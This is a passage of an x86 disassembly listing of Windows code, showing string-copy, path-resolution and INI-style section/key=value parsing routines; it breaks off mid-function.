		jmp	loc_4D18BE
; ---------------------------------------------------------------------------


loc_4D1815:				; CODE XREF: sub_4D153F+21Cj
		jmp	loc_4D18A5
; ---------------------------------------------------------------------------


loc_4D181A:				; CODE XREF: sub_4D153F+11Cj
					; sub_4D153F+134j
		push	[ebp+var_1C]
		call	sub_4D8A16
		pop	ecx
		mov	[ebp+var_48], eax
		cmp	[ebp+var_48], 0
		jz	short loc_4D18A5
		mov	eax, ds:dword_4E1908
		mov	eax, [eax+8]
		cmp	eax, [ebp+var_48]
		ja	short loc_4D18A5
		mov	eax, ds:dword_4E1908
		mov	eax, [eax+0Ch]
		shl	eax, 4
		mov	ecx, ds:dword_4E1908
		mov	ecx, [ecx+8]
		add	ecx, eax
		cmp	[ebp+var_48], ecx
		jnb	short loc_4D18A5
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4C], eax
		mov	eax, [ebp+arg_8]
		and	byte ptr [eax],	0
		cmp	[ebp+arg_C], 0
		jz	short loc_4D187F
		push	0
		mov	eax, ds:dword_4E1908
		add	eax, 810h
		push	eax
		call	sub_4D92CA
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax


loc_4D187F:				; CODE XREF: sub_4D153F+325j
		cmp	[ebp+arg_4], 0
		jz	short loc_4D188D
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4C]
		mov	[eax], ecx


loc_4D188D:				; CODE XREF: sub_4D153F+344j
		push	0FFFFFFFFh
		mov	eax, [ebp+var_48]
		mov	[ebp+var_68], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_68]
		jmp	short loc_4D18BE
; ---------------------------------------------------------------------------


loc_4D18A5:				; CODE XREF: sub_4D153F+97j
					; sub_4D153F:loc_4D1815j ...
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4D18B0
		jmp	short loc_4D18BC
sub_4D153F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4D18B0	proc near		; CODE XREF: sub_4D153F+36Ap
					; DATA XREF: _5:004DE3E0o
		push	offset dword_4E18C8
		call	ds:dword_4E1754	; RtlLeaveCriticalSection
		retn
sub_4D18B0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4D153F


loc_4D18BC:				; CODE XREF: sub_4D153F+36Fj
		xor	eax, eax


loc_4D18BE:				; CODE XREF: sub_4D153F+3Cj
					; sub_4D153F+2D1j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
; END OF FUNCTION CHUNK	FOR sub_4D153F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D18CF	proc near		; CODE XREF: sub_4DAAEB+16p
					; sub_4DAB3D+97p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_4D153F
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	loc_4D19C6
		movzx	eax, [ebp+var_C]
		test	eax, eax
		jnz	loc_4D19C6
		cmp	[ebp+var_8], 0
		jz	loc_4D19C6
		mov	eax, [ebp+var_8]
		mov	edi, [eax+4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_10], ecx
		mov	eax, ds:dword_4E1908
		mov	eax, [eax+0C14h]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+1]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+arg_8]
		jle	short loc_4D194F
		mov	eax, [ebp+var_14]
		inc	eax
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		jmp	short loc_4D19C1
; ---------------------------------------------------------------------------


loc_4D194F:				; CODE XREF: sub_4D18CF+73j
		mov	eax, ds:dword_4E1908
		mov	ecx, [eax+0C14h]
		mov	esi, ds:dword_4E1908
		add	esi, 10h
		mov	edi, [ebp+arg_4]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+var_10]
		mov	eax, [ebp+var_8]
		mov	esi, [eax+4]
		mov	eax, ds:dword_4E1908
		mov	edi, [ebp+arg_4]
		add	edi, [eax+0C14h]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, ds:dword_4E1908
		mov	eax, [eax+0C14h]
		add	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_4]
		and	byte ptr [ecx+eax], 0
		mov	eax, ds:dword_4E1908
		mov	eax, [eax+0C14h]
		add	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax


loc_4D19C1:				; CODE XREF: sub_4D18CF+7Ej
		push	1
		pop	eax
		jmp	short loc_4D19CE
; ---------------------------------------------------------------------------


loc_4D19C6:				; CODE XREF: sub_4D18CF+29j
					; sub_4D18CF+35j ...
		mov	eax, [ebp+arg_C]
		and	dword ptr [eax], 0
		xor	eax, eax


loc_4D19CE:				; CODE XREF: sub_4D18CF+F5j
		pop	edi
		pop	esi
		leave
		retn
sub_4D18CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D19D2	proc near		; CODE XREF: sub_4D581E+3Dp
					; sub_4DA1C7+29p ...

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 004D1A9F SIZE 00000043 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE3E8
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_34], edx
		mov	[ebp+var_30], ecx
		push	[ebp+var_34]
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		push	[ebp+var_30]
		call	sub_4D153F
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	loc_4D1A9F
		cmp	[ebp+arg_0], 0
		jz	short loc_4D1A9F
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_0]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	[ebp+var_30]
		call	sub_4D92CA
		pop	ecx
		pop	ecx
		mov	edx, eax
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		mov	edx, edi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		dec	edi
		mov	ecx, ebx
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	[ebp+var_24], edx
		and	[ebp+var_4], 0
		push	[ebp+var_34]
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		push	[ebp+var_24]
		call	sub_4D153F
		mov	[ebp+var_1C], eax
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4D1A8F
		jmp	short loc_4D1A9F
sub_4D19D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4D1A8F	proc near		; CODE XREF: sub_4D19D2+B6p
					; DATA XREF: _5:004DE3F0o
		mov	eax, [ebp-24h]
		mov	[ebp-28h], eax
		push	dword ptr [ebp-28h]
		call	sub_4D83DD
		pop	ecx
		retn
sub_4D1A8F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4D19D2


loc_4D1A9F:				; CODE XREF: sub_4D19D2+43j
					; sub_4D19D2+4Dj ...
		cmp	[ebp+var_1C], 0
		jz	short loc_4D1AB2
		movzx	eax, [ebp+var_20]
		test	eax, eax
		jnz	short loc_4D1AB2
		mov	eax, [ebp+var_1C]
		jmp	short loc_4D1AD1
; ---------------------------------------------------------------------------


loc_4D1AB2:				; CODE XREF: sub_4D19D2+D1j
					; sub_4D19D2+D9j
		cmp	[ebp+var_34], 0
		jz	short loc_4D1ACF
		cmp	[ebp+var_1C], 0
		jz	short loc_4D1ACF
		mov	eax, [ebp+var_34]
		mov	eax, [eax]
		mov	[ebp+var_2C], eax
		push	[ebp+var_2C]
		call	sub_4D83DD
		pop	ecx


loc_4D1ACF:				; CODE XREF: sub_4D19D2+E4j
					; sub_4D19D2+EAj
		xor	eax, eax


loc_4D1AD1:				; CODE XREF: sub_4D19D2+DEj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; END OF FUNCTION CHUNK	FOR sub_4D19D2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D1AE2	proc near		; CODE XREF: sub_4D581E+24p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_28], edx
		mov	[ebp+var_24], ecx
		and	[ebp+var_8], 0
		cmp	[ebp+var_24], 0
		jz	loc_4D1BBB
		mov	eax, [ebp+var_24]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ch
		jz	loc_4D1BBB
		mov	eax, [ebp+var_24]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Fh
		jz	loc_4D1BBB
		mov	eax, [ebp+var_24]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 3Ah
		jz	loc_4D1BBB
		mov	edi, [ebp+var_24]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_14], ecx
		mov	eax, ds:dword_4E1908
		add	eax, 10h
		mov	ecx, ds:dword_4E1908
		mov	ecx, [ecx+0C10h]
		sub	ecx, eax
		mov	[ebp+var_10], ecx
		mov	edi, [ebp+arg_0]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	eax, [ebp+var_14]
		lea	eax, [eax+ecx+104h]
		push	eax
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_10]
		mov	esi, ds:dword_4E1908
		add	esi, 10h
		mov	edi, [ebp+var_8]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+var_14]
		inc	ecx
		mov	esi, [ebp+var_24]
		mov	edi, [ebp+var_8]
		add	edi, [ebp+var_10]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_8]
		mov	[ebp+var_24], eax


loc_4D1BBB:				; CODE XREF: sub_4D1AE2+17j
					; sub_4D1AE2+26j ...
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		push	[ebp+var_24]
		call	sub_4D153F
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4D1C41
		cmp	[ebp+arg_0], 0
		jz	short loc_4D1C41
		cmp	[ebp+var_8], 0
		jnz	short loc_4D1BFB
		mov	edi, [ebp+arg_0]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	[ebp+var_24]
		call	sub_4D92CA
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax


loc_4D1BFB:				; CODE XREF: sub_4D1AE2+FCj
		mov	edi, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		dec	edi
		mov	ecx, ebx
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_8]
		mov	[ebp+var_24], eax
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		push	[ebp+var_8]
		call	sub_4D153F
		mov	[ebp+var_4], eax


loc_4D1C41:				; CODE XREF: sub_4D1AE2+F0j
					; sub_4D1AE2+F6j
		cmp	[ebp+var_4], 0
		jz	short loc_4D1C90
		movzx	eax, [ebp+var_C]
		test	eax, eax
		jnz	short loc_4D1C90
		cmp	[ebp+var_28], 0
		jz	short loc_4D1C7C
		cmp	[ebp+var_8], 0
		jz	short loc_4D1C63
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2C], eax
		jmp	short loc_4D1C72
; ---------------------------------------------------------------------------


loc_4D1C63:				; CODE XREF: sub_4D1AE2+177j
		push	0
		push	[ebp+var_24]
		call	sub_4D92CA
		pop	ecx
		pop	ecx
		mov	[ebp+var_2C], eax


loc_4D1C72:				; CODE XREF: sub_4D1AE2+17Fj
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_2C]
		mov	[eax], ecx
		jmp	short loc_4D1C8B
; ---------------------------------------------------------------------------


loc_4D1C7C:				; CODE XREF: sub_4D1AE2+171j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1C], eax
		push	[ebp+var_1C]
		call	sub_4D83DD
		pop	ecx


loc_4D1C8B:				; CODE XREF: sub_4D1AE2+198j
		mov	eax, [ebp+var_4]
		jmp	short loc_4D1CA1
; ---------------------------------------------------------------------------


loc_4D1C90:				; CODE XREF: sub_4D1AE2+163j
					; sub_4D1AE2+16Bj
		mov	eax, [ebp+var_8]
		mov	[ebp+var_20], eax
		push	[ebp+var_20]
		call	sub_4D83DD
		pop	ecx
		xor	eax, eax


loc_4D1CA1:				; CODE XREF: sub_4D1AE2+1ACj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4D1AE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D1CA8	proc near		; CODE XREF: sub_4DA7AF+Ap
					; sub_4DA7DD+78p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], ecx
		push	0
		push	[ebp+var_8]
		push	0
		push	[ebp+var_4]
		call	sub_4D153F
		leave
		retn
sub_4D1CA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D1CC4	proc near		; CODE XREF: sub_4DAC66+2Bp
					; sub_4DAD0C+42p ...

var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= byte ptr  20h

; FUNCTION CHUNK AT 004D21B6 SIZE 00000012 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE3F8
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 64h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_34], 0
		and	[ebp+var_28], 0
		and	[ebp+var_38], 0
		and	[ebp+var_20], 0
		and	[ebp+var_30], 0
		and	[ebp+var_3C], 0
		and	[ebp+var_24], 0
		and	[ebp+var_48], 0
		and	[ebp+var_40], 0
		and	[ebp+var_44], 0
		and	[ebp+var_4], 0
		mov	ecx, [ebp+arg_10]
		xor	eax, eax
		mov	edi, [ebp+arg_C]
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		push	0
		lea	eax, [ebp+var_2C]
		push	eax
		push	0
		push	0
		push	[ebp+arg_14]
		call	sub_4D0346
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+var_2C]
		call	sub_4D0672
		mov	eax, [ebp+var_28]
		inc	eax
		push	eax
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_64], eax
		mov	eax, [ebp+var_64]
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_28]
		inc	ecx
		xor	eax, eax
		mov	edi, [ebp+var_34]
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_34]
		lea	eax, [ecx+eax+1]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_34]
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	0
		push	0
		push	[ebp+var_28]
		push	[ebp+var_34]
		push	[ebp+var_2C]
		call	sub_4D1177
		mov	eax, [ebp+var_20]
		mov	byte ptr [eax-1], 0Ah
		jmp	short loc_4D1DAD
; ---------------------------------------------------------------------------


loc_4D1DA6:				; CODE XREF: sub_4D1CC4:loc_4D2184j
		mov	eax, [ebp+var_38]
		inc	eax
		mov	[ebp+var_38], eax


loc_4D1DAD:				; CODE XREF: sub_4D1CC4+E0j
		mov	eax, [ebp+var_38]
		cmp	eax, [ebp+var_20]
		jz	loc_4D2189


loc_4D1DB9:				; CODE XREF: sub_4D1CC4+486j
					; sub_4D1CC4+4BBj
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 3Bh
		jnz	short loc_4D1DF8


loc_4D1DC4:				; CODE XREF: sub_4D1CC4+125j
		mov	eax, [ebp+var_38]
		cmp	eax, [ebp+var_20]
		jz	short loc_4D1DEB
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_4D1DEB
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jz	short loc_4D1DEB
		mov	eax, [ebp+var_38]
		inc	eax
		mov	[ebp+var_38], eax
		jmp	short loc_4D1DC4
; ---------------------------------------------------------------------------


loc_4D1DEB:				; CODE XREF: sub_4D1CC4+106j
					; sub_4D1CC4+111j ...
		mov	eax, [ebp+var_38]
		cmp	eax, [ebp+var_20]
		jnz	short loc_4D1DF8
		jmp	loc_4D2189
; ---------------------------------------------------------------------------


loc_4D1DF8:				; CODE XREF: sub_4D1CC4+FEj
					; sub_4D1CC4+12Dj
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 5Bh
		jnz	short loc_4D1E16
		mov	eax, [ebp+var_38]
		inc	eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_24], 1
		jmp	loc_4D2184
; ---------------------------------------------------------------------------


loc_4D1E16:				; CODE XREF: sub_4D1CC4+13Dj
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 5Dh
		jnz	loc_4D1EBF


loc_4D1E25:				; CODE XREF: sub_4D1CC4+217j
		mov	eax, [ebp+var_38]
		and	byte ptr [eax],	0
		cmp	[ebp+var_24], 1
		jnz	loc_4D1EBA
		and	[ebp+var_24], 0
		cmp	[ebp+arg_0], 0
		jnz	short loc_4D1EA0
		mov	eax, [ebp+var_44]
		mov	[ebp+var_4C], eax
		mov	edi, [ebp+var_30]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_54], ecx
		mov	eax, [ebp+arg_10]
		dec	eax
		dec	eax
		sub	eax, [ebp+var_4C]
		mov	[ebp+var_50], eax
		cmp	[ebp+var_50], 0
		jle	short loc_4D1E9E
		push	[ebp+var_50]
		push	[ebp+var_30]
		mov	eax, [ebp+arg_C]
		add	eax, [ebp+var_4C]
		push	eax
		call	sub_4CC770
		add	esp, 0Ch
		mov	eax, [ebp+var_50]
		cmp	eax, [ebp+var_54]
		jle	short loc_4D1E8B
		mov	eax, [ebp+var_54]
		mov	[ebp+var_74], eax
		jmp	short loc_4D1E91
; ---------------------------------------------------------------------------


loc_4D1E8B:				; CODE XREF: sub_4D1CC4+1BDj
		mov	eax, [ebp+var_50]
		mov	[ebp+var_74], eax


loc_4D1E91:				; CODE XREF: sub_4D1CC4+1C5j
		mov	eax, [ebp+var_74]
		mov	ecx, [ebp+var_4C]
		lea	eax, [ecx+eax+1]
		mov	[ebp+var_44], eax


loc_4D1E9E:				; CODE XREF: sub_4D1CC4+1A0j
		jmp	short loc_4D1EBA
; ---------------------------------------------------------------------------


loc_4D1EA0:				; CODE XREF: sub_4D1CC4+179j
		push	[ebp+var_30]
		push	[ebp+arg_0]
		call	ds:dword_4E17C0	; lstrcmpi
		test	eax, eax
		jnz	short loc_4D1EB6
		mov	[ebp+var_48], 1
		jmp	short loc_4D1EBA
; ---------------------------------------------------------------------------


loc_4D1EB6:				; CODE XREF: sub_4D1CC4+1EAj
		and	[ebp+var_48], 0


loc_4D1EBA:				; CODE XREF: sub_4D1CC4+16Bj
					; sub_4D1CC4:loc_4D1E9Ej ...
		jmp	loc_4D2184
; ---------------------------------------------------------------------------


loc_4D1EBF:				; CODE XREF: sub_4D1CC4+15Bj
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_4D1ED5
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jnz	short loc_4D1EEC


loc_4D1ED5:				; CODE XREF: sub_4D1CC4+204j
		cmp	[ebp+var_24], 1
		jnz	short loc_4D1EE0
		jmp	loc_4D1E25
; ---------------------------------------------------------------------------


loc_4D1EE0:				; CODE XREF: sub_4D1CC4+215j
		mov	eax, [ebp+var_38]
		inc	eax
		mov	[ebp+var_3C], eax
		jmp	loc_4D2184
; ---------------------------------------------------------------------------


loc_4D1EEC:				; CODE XREF: sub_4D1CC4+20Fj
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 3Dh
		jnz	loc_4D2184
		cmp	[ebp+arg_0], 0
		jz	loc_4D2151
		mov	eax, [ebp+var_38]
		mov	byte ptr [eax],	20h


loc_4D1F0B:				; CODE XREF: sub_4D1CC4+266j
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax-1]
		cmp	eax, 9
		jz	short loc_4D1F23
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax-1]
		cmp	eax, 20h
		jnz	short loc_4D1F2C


loc_4D1F23:				; CODE XREF: sub_4D1CC4+251j
		mov	eax, [ebp+var_38]
		dec	eax
		mov	[ebp+var_38], eax
		jmp	short loc_4D1F0B
; ---------------------------------------------------------------------------


loc_4D1F2C:				; CODE XREF: sub_4D1CC4+25Dj
		mov	eax, [ebp+var_38]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_38]
		inc	eax
		mov	[ebp+var_38], eax


loc_4D1F39:				; CODE XREF: sub_4D1CC4+292j
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 9
		jz	short loc_4D1F4F
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_4D1F58


loc_4D1F4F:				; CODE XREF: sub_4D1CC4+27Ej
		mov	eax, [ebp+var_38]
		inc	eax
		mov	[ebp+var_38], eax
		jmp	short loc_4D1F39
; ---------------------------------------------------------------------------


loc_4D1F58:				; CODE XREF: sub_4D1CC4+289j
		cmp	[ebp+arg_4], 0
		jnz	loc_4D20A1
		movzx	eax, [ebp+var_48]
		test	eax, eax
		jz	loc_4D209C
		mov	eax, [ebp+var_44]
		mov	[ebp+var_58], eax
		mov	edi, [ebp+var_3C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_60], ecx
		mov	eax, [ebp+arg_10]
		dec	eax
		dec	eax
		sub	eax, [ebp+var_58]
		mov	[ebp+var_6C], eax
		mov	eax, [ebp+var_6C]
		cmp	eax, [ebp+var_60]
		jge	short loc_4D1F9F
		mov	eax, [ebp+var_6C]
		mov	[ebp+var_78], eax
		jmp	short loc_4D1FA5
; ---------------------------------------------------------------------------


loc_4D1F9F:				; CODE XREF: sub_4D1CC4+2D1j
		mov	eax, [ebp+var_60]
		mov	[ebp+var_78], eax


loc_4D1FA5:				; CODE XREF: sub_4D1CC4+2D9j
		mov	eax, [ebp+var_78]
		mov	[ebp+var_5C], eax
		cmp	[ebp+var_5C], 0
		jle	short loc_4D1FD4
		mov	ecx, [ebp+var_5C]
		mov	esi, [ebp+var_3C]
		mov	edi, [ebp+arg_C]
		add	edi, [ebp+var_58]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_58]
		add	eax, [ebp+var_5C]
		mov	[ebp+var_58], eax


loc_4D1FD4:				; CODE XREF: sub_4D1CC4+2EBj
		mov	eax, [ebp+var_38]
		mov	[ebp+var_3C], eax


loc_4D1FDA:				; CODE XREF: sub_4D1CC4+33Cj
		mov	eax, [ebp+var_20]
		dec	eax
		cmp	[ebp+var_38], eax
		jz	short loc_4D2002
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jz	short loc_4D2002
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_4D2002
		mov	eax, [ebp+var_38]
		inc	eax
		mov	[ebp+var_38], eax
		jmp	short loc_4D1FDA
; ---------------------------------------------------------------------------


loc_4D2002:				; CODE XREF: sub_4D1CC4+31Dj
					; sub_4D1CC4+328j ...
		movzx	eax, [ebp+arg_18]
		test	eax, eax
		jz	loc_4D208E
		mov	eax, [ebp+arg_10]
		dec	eax
		dec	eax
		cmp	[ebp+var_58], eax
		jnb	short loc_4D2028
		mov	eax, [ebp+arg_C]
		add	eax, [ebp+var_58]
		mov	byte ptr [eax],	3Dh
		mov	eax, [ebp+var_58]
		inc	eax
		mov	[ebp+var_58], eax


loc_4D2028:				; CODE XREF: sub_4D1CC4+352j
		mov	eax, [ebp+var_38]
		and	byte ptr [eax],	0
		mov	edi, [ebp+var_3C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_60], ecx
		mov	eax, [ebp+arg_10]
		dec	eax
		dec	eax
		sub	eax, [ebp+var_58]
		mov	[ebp+var_70], eax
		mov	eax, [ebp+var_70]
		cmp	eax, [ebp+var_60]
		jge	short loc_4D2059
		mov	eax, [ebp+var_70]
		mov	[ebp+var_7C], eax
		jmp	short loc_4D205F
; ---------------------------------------------------------------------------


loc_4D2059:				; CODE XREF: sub_4D1CC4+38Bj
		mov	eax, [ebp+var_60]
		mov	[ebp+var_7C], eax


loc_4D205F:				; CODE XREF: sub_4D1CC4+393j
		mov	eax, [ebp+var_7C]
		mov	[ebp+var_5C], eax
		cmp	[ebp+var_5C], 0
		jle	short loc_4D208E
		mov	ecx, [ebp+var_5C]
		mov	esi, [ebp+var_3C]
		mov	edi, [ebp+arg_C]
		add	edi, [ebp+var_58]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_58]
		add	eax, [ebp+var_5C]
		mov	[ebp+var_58], eax


loc_4D208E:				; CODE XREF: sub_4D1CC4+344j
					; sub_4D1CC4+3A5j
		mov	eax, [ebp+var_58]
		inc	eax
		mov	[ebp+var_44], eax
		mov	eax, [ebp+var_38]
		inc	eax
		mov	[ebp+var_3C], eax


loc_4D209C:				; CODE XREF: sub_4D1CC4+2A4j
		jmp	loc_4D214F
; ---------------------------------------------------------------------------


loc_4D20A1:				; CODE XREF: sub_4D1CC4+298j
		push	[ebp+var_3C]
		push	[ebp+arg_4]
		call	ds:dword_4E17C0	; lstrcmpi
		test	eax, eax
		jnz	short loc_4D211C
		movzx	eax, [ebp+var_48]
		test	eax, eax
		jz	short loc_4D211C
		mov	eax, [ebp+var_38]
		mov	[ebp+var_3C], eax


